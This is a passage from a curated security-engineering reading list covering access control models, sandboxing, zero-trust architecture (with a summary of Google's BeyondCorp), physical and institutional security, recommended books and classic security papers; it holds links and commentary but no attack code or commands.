- [What are capabilities?](http://habitatchronicles.com/2017/05/what-are-capabilities/)
- [Capability Security Model](https://wiki.c2.com/?CapabilitySecurityModel)
### Authentication
The three ways to authenticate someone are:
- what you know (eg, PIN, password, picture passwords)
- what you have (eg, Yubikey, smartphone, smartcard, token hardware)
- what you are (eg, a fingerprint)
While not a standalone factor, you can consider the environment, too, such as where the user is or what time it is.
- [DOD Password Management Guideline](https://fas.org/irp/nsa/rainbow/std002.htm)
- [A Guide to Understanding Identification and Authentication in Trusted Systems](https://fas.org/irp/nsa/rainbow/tg017.htm)
- [Authentication (from Saydjari's book)](https://learning.oreilly.com/library/view/engineering-trustworthy-systems/9781260118186/ch11.xhtml#ch11)
#### Biometrics
- ["Biometrics" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch17-dec20.pdf)
### Authorization
Without authorization, anyone who authenticates to our system would have full access to everything. We'd like to make it more difficult than that for attackers, and likely don't trust all insiders that much, either.
- [Authorization (from Saydjari's book)](https://learning.oreilly.com/library/view/engineering-trustworthy-systems/9781260118186/ch12.xhtml#ch12)
- [Domain type enforcement](https://www.cs.cornell.edu/courses/cs5430/2012sp/dte.html)
- [Type enforcement chapter (from SELinux book)](https://learning.oreilly.com/library/view/selinux/0596007167/ch07.html)
- [Domain and type enforcement for Linux](https://www.usenix.org/legacy/publications/library/proceedings/als00/2000papers/papers/full_papers/hallyn/hallyn_html/index.html)
#### Multilevel
Think about the intel classification hierarchy: some documents are top secret, others are secret, others are confidential, and so on. This is a multi-level scheme.
- ["Multilevel Security" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c08.pdf)
- [An analysis of the systemic security weaknesses of the U.S. Navy fleet broadcasting system, 1967-1974, as exploited by CWO John Walker](multilevel/walker_spy_ring.pdf)
#### Multilateral
Even if an analyst has a secret clearance, you may not want him to be able to access any documents from other departments. This is a multi-lateral scheme.
- ["Boundaries" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch10-dec18.pdf)
- [Security in clinical information systems](multilateral/security_in_clinical_info_systems.pdf)
- [Implementing access control to protect the confidentiality of patient information in clinical information systems in the acute hospital](multilateral/implementing_access_control_to_protect_patient_data.pdf)
- [Privacy in clinical information systems in secondary care](multilateral/privacy_in_clinical_info_systems.pdf)
- [THE Chinese wall security policy](https://people.csail.mit.edu/alinush/6.858-fall-2014/papers/chinese-wall-sec-pol.pdf)
#### Two-man rule
The idea is simple: to authorize certain actions, more than one person must consent.
This helps protect against malicious insiders.
- [Wikipedia article](https://en.wikipedia.org/wiki/Two-man_rule)
### Inference control
While an individual, anonymized database may not be enough to de-anonymize people, a combination of anonymized databases may make this possible. Inference control aims to prevent this.
I haven't seen this concept outside of computer security, yet.
- ["Inference Control" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch10-dec18.pdf)
- [Report on Statistical Disclosure Limitation Methodology](https://ecommons.cornell.edu/bitstream/handle/1813/22991/WP-22-OMB-totalreport.pdf)
### Sandboxing
Privilege separation is dividing a system into different components, based on what permission
level each component should have.
Least privilege is then making the permission level for each component as small as possible.
The way you enforce this minimal permission level is via a sandbox.
I haven't seen this concept outside of computer security, yet.
- [On Safes, Sandboxes, and Spies (CS 161 at UC Berkeley)](https://inst.eecs.berkeley.edu/~cs161/fa16/slides/lec5.pdf)
- [A Theory and Tools for Applying Sandboxes Effectively](http://www.cs.cmu.edu/~mmaass/pdfs/dissertation.pdf)
- [Chrome Sandbox Design Doc](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md)
- [Chrome Sandbox Design FAQ](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox_faq.md)
- [Sandboxing Applications](sandboxing/sandboxing_applications.pdf)
- [A Security Study of Chrome’s Process-based Sandboxing](sandboxing/ChromeDOP.pdf)
- [SELinux, Seccomp, Sysdig Falco, and you: A technical discussion](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/)
- [gvisor](https://github.com/google/gvisor)
- [sandy](https://github.com/hobochild/sandy)
### Logging & auditing
To me, logging is the act of collecting event data, and auditing is looking for malicious activity in those events. The terms are used interchangeably, however.
Logging is useful for deterrence (insiders especially are less likely to do bad things if they're being recorded), detection, and investigation. It can provide non-repudiation, or the inability of an attacker to deny their malicious activity.
It's practiced in many fields from information security (think SIEMs) to healthcare (tracking who accesses someone's medical records).
- [A Guide to Understanding Audit in Trusted Systems](https://fas.org/irp/nsa/rainbow/tg001.htm)
### Air-gapping
- [An approach to air-gapped deployment](https://www.osti.gov/servlets/purl/1367293)
- [Network air locks, not air gaps, to preserve LAN security](https://cisse.info/pdf/download.php?file=CISSE_v07_i01_p02_pre.pdf)
- [Air gaps (post by Bruce Schneier)](https://www.schneier.com/blog/archives/2013/10/air_gaps.html)
- [Bin Laden Maintained Computer Security with an Air Gap](https://www.schneier.com/blog/archives/2011/05/bin_laden_maint.html)
#### Attacking
- [W32.Stuxnet Dossier](https://nsarchive2.gwu.edu//NSAEBB/NSAEBB424/docs/Cyber-044.pdf)
- [The air-gap jumpers (BlackHat talk)](https://i.blackhat.com/us-18/Wed-August-8/us-18-Guri-AirGap.pdf)
### Obscurity
Obscurity, not its own, does not count as security. However, it can be added on top of real security measures, to make attacks on you
require more time and a higher skill level.
- [Obscurity is a valid security layer](https://danielmiessler.com/study/security-by-obscurity/) - see the [HN comments](https://news.ycombinator.com/item?id=15541792) as well
- [Techniques for defeating high-strength attackers](obscurity/techniques_for_defeating_high_strength_attackers.md)
- [Replacing Intel or x86 chips for security reasons](https://pastebin.com/0mQHNbRK)
## Learn about how real world systems are secured
The chapters in Anderson's book fall into two categories, in my view: mechanisms for securing systems and examples of how some real world systems are secured.
We've already learned about the first category; this section is about the second category.
### Physical facilities
#### Defending
- [Introduction to physical security](https://www.cdse.edu/documents/student-guides/PY011-guide.pdf)
- ["Physical protection" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c11.pdf)
- [Design and evaluation of physical protection systems](https://www.amazon.com/Design-Evaluation-Physical-Protection-Systems/dp/075068352X)
- [Physical security: 150 things you should know](https://www.amazon.com/Physical-Security-Things-Should-Know/dp/0128094877)
- [The complete guide to physical security](https://www.amazon.com/Complete-Guide-Physical-Security/dp/1420099639)
- [Physical security systems handbook](https://www.amazon.com/Physical-Security-Systems-Handbook-Implementation/dp/075067850X)
#### Attacking
- [A Burglar's Guide to the City](https://www.amazon.com/Burglars-Guide-City-Geoff-Manaugh/dp/0374117268/)
- [The Feather Thief: Beauty, Obsession, and the Natural History Heist of the Century](https://www.amazon.com/Feather-Thief-Obsession-Natural-History/dp/110198161X)
- [The Man Who Robbed the Pierre](https://www.amazon.com/Man-Who-Robbed-Pierre-Comfort/dp/0689119186)
### Nuclear command and control
- ["Nuclear command and control" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch15-dec18.pdf)
- [Nuclear Security Recommendations on Physical Protection of Nuclear Material and Nuclear Facilities](https://www-pub.iaea.org/MTCD/Publications/PDF/Pub1481_web.pdf)
- [Nuclear Security Series](https://www.iaea.org/publications/search/type/nuclear-security-series)
### Monitoring and metering
- ["Monitoring and metering" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c12.pdf)
- [Electronic Postage Systems: Technology, Security, Economics](https://www.amazon.com/Electronic-Postage-Systems-Technology-Information/dp/1489986677)
- [Reliability of Electronic Payment Systems](meters/reliability_of_electronic_payment_systems.pdf)
- [Security and Privacy Analysis of Automatic Meter Reading Systems](meters/security_and_privacy_analysis_of_automatic_meter_reading_systems.pdf)
- [On the Security of Digital Tachographs](https://www.cl.cam.ac.uk/~rja14/Papers/tacho.pdf)
### Banking and bookkeeping
#### Defending
- ["Banking and bookkeeping" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c10.pdf)
- [The Bank Employee's Fraud and Security Handbook: Everything You Need to Know to Detect and Prevent Loss](https://www.amazon.com/Bank-Employees-Fraud-Security-Handbook/dp/1557383480)
- [How Coinbase Builds Secure Infrastructure To Store Bitcoin In The Cloud](https://blog.coinbase.com/how-coinbase-builds-secure-infrastructure-to-store-bitcoin-in-the-cloud-30a6504e40ba) - [my notes](banking/coinbase.md)
- [Future Banks Live in The Cloud: Building a Usable Cloud with Uncompromising Security](https://www.youtube.com/watch?v=bhCOLJQiKmY)
#### Attacking
- [Where the Money Is: True Tales from the Bank Robbery Capital of the World](https://www.amazon.com/Where-Money-Tales-Robbery-Capital/dp/039332575X)
- [Norco '80: The True Story of the Most Spectacular Bank Robbery in American History](https://www.amazon.com/Norco-80-Spectacular-Robbery-American-ebook/dp/B07GS7J2Z3)
- [Pizza Bomber: The Untold Story of America's Most Shocking Bank Robbery](https://www.amazon.com/Pizza-Bomber-Americas-Shocking-Robbery/dp/0425250555)
- [The Great Heist - The Story of the Biggest Bank Robbery in History: And Why All the Money Was Returned](https://www.amazon.com/Great-Heist-Biggest-Robbery-Returned/dp/1493532693)
### Distributed systems
- ["Distributed systems" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch7-dec18.pdf)
### Copyright and DRM
- ["Copyright and DRM" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c22.pdf)
- [The Protection of Computer Software: Its Technology and Application](https://www.amazon.com/Protection-Computer-Software-Application-Informatics/dp/0521424623)
- [European Scrambling Systems, Circuits, Tactics and Techniques](https://www.amazon.com/dp/1873556012/ref=cm_sw_em_r_mt_dp_cx1jFbVMZ87JY)
### Web browsers
- [Security architecture of the Chromium browser](http://seclab.stanford.edu/websec/chromium/chromium-security-architecture.pdf)
- [Native OKL4 Web Browser](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.378.5764&rep=rep1&type=pdf)
- [Designing and Implementing the OP and OP2 Web Browsers](https://www.semanticscholar.org/paper/Designing-and-Implementing-the-OP-and-OP2-Web-Grier-Tang/832a911f97b500cd2df468018637e1d22c9c5572?p2df)
- [Secure Browser Architecture Based on Hardware Virtualization](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.664.9527&rep=rep1&type=pdf)
- [Browser security: lessons from Google Chrome](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/35779.pdf)
### Web applications
- [Towards High Assurance HTML5 Applications](https://www2.eecs.berkeley.edu/Pubs/TechRpts/2014/EECS-2014-56.pdf)
- [Privilege separation in HTML5 applications](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final168.pdf)
- [Principled and Practical Web Application Security](https://cseweb.ucsd.edu/~dstefan/pubs/stefan:2015:phdthesis.pdf)
### Android
- [Toward Engineering a Secure Android Ecosystem: A Survey of Existing Techniques](https://taesoo.kim/pubs/2016/xu:android-survey.pdf)
### BeyondCorp & zero trust
> Most companies need to be able to answer the question, "is this client one of ours," when protecting sensitive resources.
> Most companies will instead answer the question, "is the client on our network," and pretend that it was the same question. The fact that it clearly is not has some very obvious security implications and attack vectors that we've been living with for decades.
> Beyondcorp tries to more directly answer the original question about device identity rather than subbing in the network question in its place.
> The fact that this approach is novel says a lot about the maturity of our industry.
-- tyler_larson, [a Hacker News comment](https://news.ycombinator.com/item?id=16204208), 01/22/2018
#### Architecture
#### Summary
[Google's BeyondCorp](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/43231.pdf) removes the concept of firewalls and VPNs altogether.
Instead, every request to access internal services must be authenticated, authorized, and encrypted, and that's all -- regardless from what network the request originates from.
#### Authentication
For a request to be authenticated, it must be from:
- an authenticated user
- who's on a corporate device (a device in Google's Device Inventory Database, identified with a certificate stored in the device's TPM or in certificate store).
#### Key components
- All of Google's services are put behind an access proxy, which "enforces encryption between the client and the application"
- The user's device must present a valid certificate, and the user must log on via SSO + hardware security key, to pass the access proxy.
- BeyondCorp's Trust Inference dynamically determines how much trust to assign a user or a device
- The user accessing services from a strange location would decrease trust. A less secure device would decrease trust.
- BeyondCorp's Access Control Engine ingests device inventory data, user data, this trust score, and decides whether to allow access to the requested service or not.
- The Access Control Engine can also "enforce location-based access control" and can restrict access to services based on user role + device type.
#### End to end flow
Quoting from the paper linked above:
1. The request is directed to the access proxy. The laptop provides its device certificate.
2. The access proxy does not recognize the user and redirects to the SSO system.
3. The engineer provides his or her primary and second-factor authentication credentials, is authenticated by the SSO system, is issued a token, and is redirected back to the access proxy.
4. The access proxy now has the device certificate, which identifies the device, and the SSO token, which identifies the user.
5. The Access Control Engine performs the specific authorization
check configured for codereview.corp.google.com. This authorization check is made on every request:
a. The user is confirmed to be in the engineering group.
b. The user is confirmed to possess a sufficient trust level.
c. The device is confirmed to be a managed device in good standing.
d. The device is confirmed to possess a sufficient trust level.
e. If all these checks pass, the request is passed to an appropriate back end to be serviced.
f. If any of the above checks fails, the request is denied.
#### Prereqs for compromising a service
For an attacker to gain access to a service under BeyondCorp, they'd need to:
1. choose an employee who can access this service
2. obtain that employee's SSO credentials
3. obtain an employee's hardware security key
4. obtain an employee's (any employee's?) managed device which can access this service
5. obtain the password to this managed device
6. bypass any location based access control
7. do all of this before either the user's or device's access is cut off (as every request is checked)
#### Before/after
Before: the attacker has to execute one digital attack (gain VPN access) to gain access to services.
Even if VPN requires 2FA, but it's not done with a hardware security key, the attacker can phish the employee into giving up his 2FA code or accepting the Duo push.
After: the attacker has to execute two digital attacks (obtain SSO password, obtain device password) and two physical attacks, which might be done at once (device, hardware security key).
Learning lesson: shift digital attacks to physical attacks wherever possible (and safe). Google does this using hardware security keys and only letting managed laptops access services.
#### Further reading
- [BeyondCorp I: A new approach to enterprise security](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/43231.pdf)
- [BeyondCorp II: Design to deployment at Google](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/44860.pdf)
- [BeyondCorp III: The access proxy](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/45728.pdf)
- [Migrating to BeyondCorp](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/f29b3e764b1122d508b7b53544a3bbadd6cd1101.pdf)
- [BeyondCorp: The user experience](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/c8da594124dab1f91e6750995e2b7805403b19f1.pdf)
- [Maintaining a healthy fleet](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/b9b4a09a913e410b7c45f3fbacec4d350e38146f.pdf)
- [Zero Trust Networks: Building Secure Systems in Untrusted Networks](https://www.amazon.com/Zero-Trust-Networks-Building-Untrusted/dp/1491962194)
### Apple
- [Apple platform security](https://manuals.info.apple.com/MANUALS/1000/MA1902/en_US/apple-platform-security-guide.pdf)
- [There are no secure smartphones](https://www.devever.net/~hl/nosecuresmartphone) - and [HN discussion](https://news.ycombinator.com/item?id=10905643) with [nickpsecurity's comments here](https://news.ycombinator.com/item?id=10906999)
### Cloud providers
- [Google Cloud Security Whitepapers (97 page PDF)](cloud/security_whitepapers_march2018.pdf)
- [Google Infrastructure Security Design Overview](https://cloud.google.com/security/infrastructure/design)
- [NEXT 2016 Keynote: Security by Niels Provos](https://www.youtube.com/watch?v=Ba1BvXzVbsE)
- [Google Infrastructure Security Design (Google Cloud Next '17)](https://www.youtube.com/watch?v=O-JXFQezWOc)
- [Google Data Center Security: 6 Layers Deep](https://www.youtube.com/watch?v=kd33UVZhnAA)
- [How Do You Explain The Unreasonable Effectiveness Of Cloud Security?](http://highscalability.com/blog/2018/9/19/how-do-you-explain-the-unreasonable-effectiveness-of-cloud-s.html)
- [Securing a community cloud](https://www.researchgate.net/profile/Fabrizio_Baiardi2/publication/224193031_Securing_a_Community_Cloud/links/57dfee9e08ae5272afd0a389/Securing-a-Community-Cloud.pdf)
### Computer networks
- [Trusted Network Interpretation (272 pages)](https://fas.org/irp/nsa/rainbow/tg005.htm)
- [Improved Port Knocking with Strong Authentication](https://www.acsac.org/2005/papers/156.pdf)
- [Coreguard from Dover Systems](https://www.acsac.org/2005/papers/156.pdf)
- [Wireguard: fast, modern, secure VPN tunnel (Blackhat 2018)](https://www.wireguard.com/talks/blackhat2018-slides.pdf)
### Operating systems
- [Operating System Security (by Trent Jaegar)](https://www.amazon.com/Operating-Security-Synthesis-Lectures-Information/dp/1598292129)
- [List of security-focused operating systems](https://en.wikipedia.org/wiki/Security-focused_operating_system#BSD-based)
- [List of UNIX alternatives with desirable capabilities](https://pastebin.com/BQh3e1ug)
- [Linux, OpenBSD, AND Talisker: A comparative complexity analysis ](https://apps.dtic.mil/dtic/tr/fulltext/u2/a403525.pdf)
- [The Jury Is In: Monolithic OS Design Is Flawed](https://ts.data61.csiro.au/publications/csiro_full_text/Biggs_LH_18.pdf)
- [Unikernels: The Next Stage of Linux’s Dominance](https://www.cs.bu.edu/~jappavoo/Resources/Papers/unikernel-hotos19.pdf)
- [Design of the EROS Trusted Window System](https://srl.cs.jhu.edu/courses/600.439/shap04windowsystem.pdf)
- [Setuid Demystified](https://people.eecs.berkeley.edu/~daw/papers/setuid-usenix02.pdf)
- [A distributed secure system](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.66.4421&rep=rep1&type=pdf)
- [Lessons from VAX/SVS for High-Assurance VM Systems](http://www.cse.psu.edu/~trj1/papers/ieee-sp-vaxvmm.pdf)
- [UCLA Secure UNIX](https://pdfs.semanticscholar.org/55f7/e4d8719cbdfe8cdc9fa77ed7a5f62bfba784.pdf)
- [The Evolution of Operating Systems](http://brinch-hansen.net/papers/2001b.pdf)
#### Time protection
- [Time Protection: The Missing OS Abstraction](https://ts.data61.csiro.au/publications/csiro_full_text//Ge_YCH_19.pdf)
- [Deterministically Deterring Timing Attacks in Deterland](https://arxiv.org/pdf/1504.07070.pdf)
### sel4
- [sel4 website](https://sel4.systems/) and [summit](https://www.sel4-us.org/summit/)
- [sel4 whitepaper](https://sel4.systems/About/seL4-whitepaper.pdf)
### SELinux
- [SELinux introduction](https://web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/ch-selinux.html)
### AppArmor
- [Original AppArmor paper](operating_systems/apparmor_original.pdf)
### Chromebook
- [ChromiumOS design docs](https://www.chromium.org/chromium-os/chromiumos-design-docs) - here's the [security overview](https://www.chromium.org/chromium-os/chromiumos-design-docs/security-overview)
- [Security of Google Chromebook](http://www.audentia-gestion.fr/MIT/ChromeOSSecurity.pdf)
### Prisons
- [Jail Design Guide (National Institute of Corrections)](prisons/jail_design_guide.pdf). See Chapter 8 in particular. - [notes](prisons/jail-design-guide-notes.md)
- [Technical Guidance for Prison Planning](https://content.unops.org/publications/Technical-guidance-Prison-Planning-2016_EN.pdf) - [notes](prisons/technical-guidance-on-prison-planning.md)
- [Correctional Facility Design and Detailing](https://www.amazon.com/Correctional-Facility-Design-Detailing-Krasnow/dp/0070361738)
### Voting
- [Free and Fair](https://freeandfair.us/) - see their [ElectionGuard project](https://freeandfair.us/electionguard/)
### Museums
#### Defending
- [Museum Property Security and Fire Protection (from Interior Dept. Museum Property Handbook)](https://www.doi.gov/sites/doi.gov/files/migrated/museum/policy/upload/mphi-11.pdf)
- [Suggested Practices For Museum Security](http://www.securitycommittee.org/securitycommittee/Guidelines_and_Standards_files/SuggestedPracticesRev06.pdf)
- [Museum Collections Security](https://www.nps.gov/museum/publications/MHI/Chapter%209.pdf)
- [Museum Security and Protection](https://www.amazon.com/Museum-Security-Protection-Institutions-Care-Preservation-Management-ebook/dp/B000OI0Z0I)
- [Why Corporate Security Should Be Like Museums](https://randymarchany.blogspot.com/2018/04/why-corporate-security-should-be-like.html?m=1)
#### Attacking
- [Stealing the Show: A History of Art and Crime in Six Thefts](https://www.amazon.com/Stealing-Show-John-Barelli/dp/1493038230)
- [Stealing Rembrandts: The Untold Stories of Notorious Art Heists](https://www.amazon.com/Stealing-Rembrandts-Untold-Stories-Notorious/dp/0230339905)
- [Nazi Gold: The Sensational Story of the World's Greatest Robbery – and the Greatest Criminal Cover-Up](https://www.amazon.com/Nazi-Gold-Sensational-Greatest-Criminal-ebook/dp/B006WA8VH6)
- [Master Thieves: The Boston Gangsters Who Pulled Off the World's Greatest Art Heist](https://www.amazon.com/Master-Thieves-Boston-Gangsters-Greatest/dp/1610396324)
### Counterintelligence
- [To Catch a Spy: The Art of Counterintelligence](https://www.amazon.com/Catch-Spy-Art-Counterintelligence/dp/1626166803)
### Casinos
#### Defending
- [Casino Security and Gaming Surveillance](https://www.amazon.com/Casino-Security-Gaming-Surveillance-Derk/dp/1420087827)
- [Casino Surveillance and Security: 150 Things You Should Know](https://www.amazon.com/Casino-Surveillance-Security-Things-Should/dp/188705619X)
- [Casino Surveillance: the Eye That Never Blinks](https://www.amazon.com/Casino-Surveillance-That-Never-Blinks/dp/0966600908)
- [150 things You Should Know About Security](https://www.amazon.com/Things-Should-Know-about-Security/dp/0128094850) - see the casino chapter
- [Exploiting Online Games: Cheating Massively Distributed Systems](https://www.amazon.com/Exploiting-Online-Games-Massively-Distributed/dp/0132271915)
#### Attacking
- [Great Gambling Scams: True Stories of the World's Most Amazing Hustlers](https://www.amazon.com/Great-Gambling-Scams-Stories-Hustlers/dp/1844543862)
- [Loaded Dice: True Story of a Casino Cheat](https://www.amazon.com/Loaded-Dice-Story-Casino-Cheat/dp/0491033656)
### Military Architecture
Also known as: fortifications
#### Defending
- [Military Architecture](https://www.amazon.com/Military-Architecture-James-Quentin-Hughes/dp/0312532350)
- [Strongholds of the Picts: The fortifications of Dark Age Scotland](https://www.amazon.com/Strongholds-Picts-fortifications-Scotland-Fortress/dp/1846036860)
#### Attacking
- [Medieval Sieges and Siegecraft](https://www.amazon.com/Medieval-Sieges-Siegecraft-Geoffrey-Hindley/dp/1602396337)
#### Both
- [Fortifications and Siegecraft: Defense and Attack through the Ages](https://www.amazon.com/Fortifications-Siegecraft-Defense-Attack-through/dp/1538109689)
- [Defending Your Castle: Build Catapults, Crossbows, Moats, Bulletproof Shields, and More Defensive Devices to Fend Off the Invading Hordes](https://www.amazon.com/Defending-Your-Castle-Catapults-Bulletproof/dp/1613746822)
## Books
### Recommended
"Recommended" is subjective...YMMV!
- Computer Security: Art and Science (by Bishop) - I'd read this first; it teaches security engineering in the right order: policies and models, then mechanisms, then assurance.
- Security Engineering (by Ross Anderson)
- Engineering Trustworthy Systems (by Sami Saydjari)
- "Security in Computing" (by Pfleeger) - I liked the chapter on trusted operating systems in particular.
- [Building Secure and Reliable Systems](https://www.amazon.com/Building-Secure-Reliable-Systems-Implementing/dp/1492083127)
### More
- [Time Based Security](https://www.amazon.com/Time-Based-Security-Winn-Schwartau/dp/0962870048) - [my notes](time-based-security.md)
- "Engineering Information Security" (by Jacobs)
- "The Craft of System Security" (by Smith and Marchesini)
- "Cyber Security Engineering" (by Woody and Mead)
### Haven't read yet
- [Cybersecurity for Space](https://learning.oreilly.com/library/view/cybersecurity-for-space/9781484257326/html/Cover.xhtml)
- [Engineering Security](https://www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf)
- [NSA STIGs](https://public.cyber.mil/stigs/)
- [NSA/DOD Rainbow Series](https://fas.org/irp/nsa/rainbow.htm)
- [Building a Secure Computer System](https://www.amazon.com/Building-Secure-Computer-System-Morrie/dp/0442230222)
- NIST 800-16 Vol I: System Security Engineering
- NIST 800-16 Vol II: Developing Cyber Resilient Systems
- [Learning from the enemy: the GUNMAN project (NSA)](https://www.nsa.gov/Portals/70/documents/news-features/declassified-documents/cryptologic-histories/Learning_from_the_Enemy.pdf)
- [The spy in Moscow station](https://www.amazon.com/Spy-Moscow-Station-Counterspys-Deadly/dp/1250301165)
- [Principled Assuredly Trustworthy Composable Architectures](http://www.csl.sri.com/users/neumann/chats4.pdf)
- [Analogue Network Security](https://www.amazon.com/Analogue-Network-Security-Engineering-Thinking/dp/B07C39RDBW)
- [Security from First Principles](https://learning.oreilly.com/library/view/security-from-first/9781491996911/preface04.html)
- [Electronic Access Control](https://learning.oreilly.com/library/view/electronic-access-control/9780123820280/#toc)
## Papers
This list is from [Science of Cybersecurity](https://scienceofcybersecurity.com/papers/).
- [The Protection of Information in Computer Systems](http://www.cs.virginia.edu/~evans/cs551/saltzer/) - [my notes](classic_papers/saltzer_schroeder.md)
- [Proposed Technical Evaluation Criteria for Trusted Computer Systems](http://seclab.cs.ucdavis.edu/projects/history/papers/niba79.pdf) - [my notes](classic_papers/nibaldi.md)
- [Thirty Years Later: Lessons from the Multics Security Evaluation](https://www.acsac.org/2002/papers/classic-multics.pdf) - [my notes](classic_papers/thirty_years_later.md)
- [Dynamic protection structures](classic_papers/dynamic_protection_structures.pdf)
- [A note on the confinement problem](http://www.cs.umd.edu/~jkatz/TEACHING/comp_sec_F04/downloads/confinement.pdf) - [my notes](classic_papers/confinement_problem.md)
- [Security Controls for Computer Systems: Report of Defense Science Board Task Force on Computer Security](http://seclab.cs.ucdavis.edu/projects/history/papers/ware70.pdf)
- [Computer Security Technology Planning Study](http://seclab.cs.ucdavis.edu/projects/history/papers/ande72a.pdf)
- [Computer Security Threat Monitoring and Surveillance](http://seclab.cs.ucdavis.edu/projects/history/papers/ande80.pdf)
- [Secure Computer System: Unified Exposition And Multics Interpretation](https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/bell76.pdf)
- [Integrity Considerations For Secure Computer Systems](https://ban.ai/multics/doc/a039324.pdf)
- [Protection Analysis: Final Report](https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/bisb78.pdf)
- [Preliminary Notes on the Design of Secure Military Computer Systems](http://seclab.cs.ucdavis.edu/projects/history/papers/sche73.pdf)
- [Jobstream Separator System Design](http://seclab.cs.ucdavis.edu/projects/history/papers/scha75.pdf)
- [The Design and Specification of a Security Kernel for the PDP-11/45](http://seclab.cs.ucdavis.edu/projects/history/papers/schi75.pdf)
- [Security controls in the ADEPT-50 time-sharing system](http://www.cbi.umn.edu/securitywiki/pub/CBI_ComputerSecurity/SystemsADEPT50/p119-weissman.pdf)
- [A postmortem for a time sharing system](https://pdfs.semanticscholar.org/1851/0df9186733bd7ece1deeaecbe6869c57e10a.pdf)
- [Protection (by Lampson)](http://www.cap-lore.com/Software/LampsonProt.html)
- [Protection in an information processing utility](https://66.39.25.33/graham-pipu.pdf)
- [Protection and the Control of Information Sharing in Multics](http://cseweb.ucsd.edu/classes/wi19/cse221-a/papers/saltzer74.pdf)
- [A Hardware Architecture for Implementing Protection Rings](http://www.princeton.edu/~rblee/ELE572Papers/Fall04Readings/ProtectionRings_Schroeder&Saltzer.pdf)
- [Design for Multics Security Enhancements](http://seclab.cs.ucdavis.edu/projects/history/papers/whit74.pdf)
- [Initial Structured Specifications for an Uncompromisable Computer Security System](https://apps.dtic.mil/dtic/tr/fulltext/u2/a022490.pdf)
- [Reflections on Trusting Trust](https://www.cs.colorado.edu/~jrblack/class/csci6268/s14/p761-thompson.pdf) - [revisited](https://www2.dmst.aueb.gr/dds/pubs/jrnl/2003-CACM-Reflections2/html/reflections2.pdf)
- [Protection in Operating Systems](http://www.cs.unibo.it/~babaoglu/courses/security07-08/resources/documents/harrison-ruzzo-ullman.pdf)
- [Subversion: The Neglected Aspect of Computer Security](http://seclab.cs.ucdavis.edu/projects/history/papers/myer80.pdf)
- [Multics Security Evaluation: Vulnerability Analysis](http://seclab.cs.ucdavis.edu/projects/history/papers/karg74.pdf)
- [Secure Minicomputer Operating System](https://apps.dtic.mil/dtic/tr/fulltext/u2/a111566.pdf)
- [Information Security: An Elusive Goal](http://www.pirp.harvard.edu/pubs_pdf/jelen/jelen-p85-8.pdf)
- [Implementation Of A Secure Data Management System For The Secure Unix Operating System](https://apps.dtic.mil/dtic/tr/fulltext/u2/a056902.pdf)
- [Audit and Evaluation of Computer Secuirity: System Vulnerabilities and Controls II](https://www.ncjrs.gov/pdffiles1/Digitization/76253NCJRS.pdf)
- [Operating System Structures to Support Security and Reliable Software](http://seclab.cs.ucdavis.edu/projects/history/papers/lind76.pdf)
- [A Provably Secure Operating System](http://seclab.cs.ucdavis.edu/projects/history/papers/neum75.pdf)
- [Relational database access controls](https://www.profsandhu.com/articles/auerbach/a94dac.pdf)
- [Looking back at the Bell-LaPadula Model](https://www.acsac.org/2005/papers/Bell.pdf)
- [Original Bell-LaPadula Paper](https://apps.dtic.mil/sti/pdfs/AD0770768.pdf)
- [Encapsulation: an approach to operating system security](https://apps.dtic.mil/sti/pdfs/AD0771758.pdf)
- [Specification of a trusted computing base](https://apps.dtic.mil/dtic/tr/fulltext/u2/a108831.pdf)
- [Minicomputer Architectures for Effective Security Kernel Implementations](https://apps.dtic.mil/dtic/tr/fulltext/u2/a059449.pdf)
- [Security Analysis And Enhancements Of Computer Operating Systems](http://www.cs.columbia.edu/~locasto/projects/candidacy/papers/abadi2003ac.pdf)
- [Access Control based on Execution History](http://www.cs.columbia.edu/~locasto/projects/candidacy/papers/abadi2003ac.pdf)
